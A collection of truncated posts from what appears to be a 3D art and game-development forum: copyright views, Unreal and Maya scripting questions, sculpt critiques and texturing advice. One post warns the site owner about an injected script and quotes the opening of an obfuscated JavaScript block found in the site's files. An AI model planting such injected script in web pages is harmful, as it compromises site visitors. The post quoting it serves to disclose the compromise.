The true wording of copyright laws can be vague, however this is a fairly clear cut case of illegal distribution. You do NOT need to generate income in order to break copyright law. Downloading/Exporting a file in order to fiddle around with in Max or Maya is completely legal, as it could easily be explained as "for use in…
questions like this are best asked on the official unreal forums i wont look into the details on this but here is some general information given an input of some float value like an input axis value, that is going from positive to negative you can use a map range clamped node to normalize the value for example, turn a…
Hello Guys! I have tried to create a likeness study of The Rock 1 month ago, you can see the result of this project on the first picture! I was curious to know that if i am be able to create a better model now after 1 month from the previous Rock sculpt. It is still WIP project, but please give me your opinion about the…
You snooze, you lose :D Okay, another quote from the same movie: Person 1: Are you sure? Person 2: Yes, I am. Person 1: I don't understand. Why? Person 2: What you mean? Wait a second. What are we doing? You said cross the line if. Person 1: Cross the line if you're going to quit. Person 2: Oh... Do it again. I…
This is a really good looking fur! I was already familiar with the shell technique, but yours looks particularly good due the care in adjusting each shell maps and the height map usage. I gotta say I'm itching to recreate a few steps in your breakdown using Blender geonodes to automate them. 😂 Edit: I gave the node setup a…
Hi I m researching multi threading in max Got the following python script but multithreading is slower than creating the objects the default way. I know there is a overhead but atm I'm trying to understand the benefit in max off multithreading. It still seems to create them 1 by 1 instead of multiple at the same time.…
Hello so I've made a .py script for Maya that listen for the operation of polySplit and after the node was created if the Crease Set Editor is opened and you have a set selected will automatically add the newly created edges to that crease set. So far the script works well but I don't know what is happening when I hit Undo…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
nice work guys! I am wondering how/we should do the floor tiles... should we sculpt 1 tileable mesh and duplicate that + vertex paint OR should we make 1 big mesh and use a tilable texture + vertex paint ? Also thinking of making all the walls from 1 texture. First sculpt a tilable wall in zbrush, check for tileability in…
The gesture and some of the proportions looks a bit off. Click on any of the guys on this site and you'll see from and side views you could use as reference:…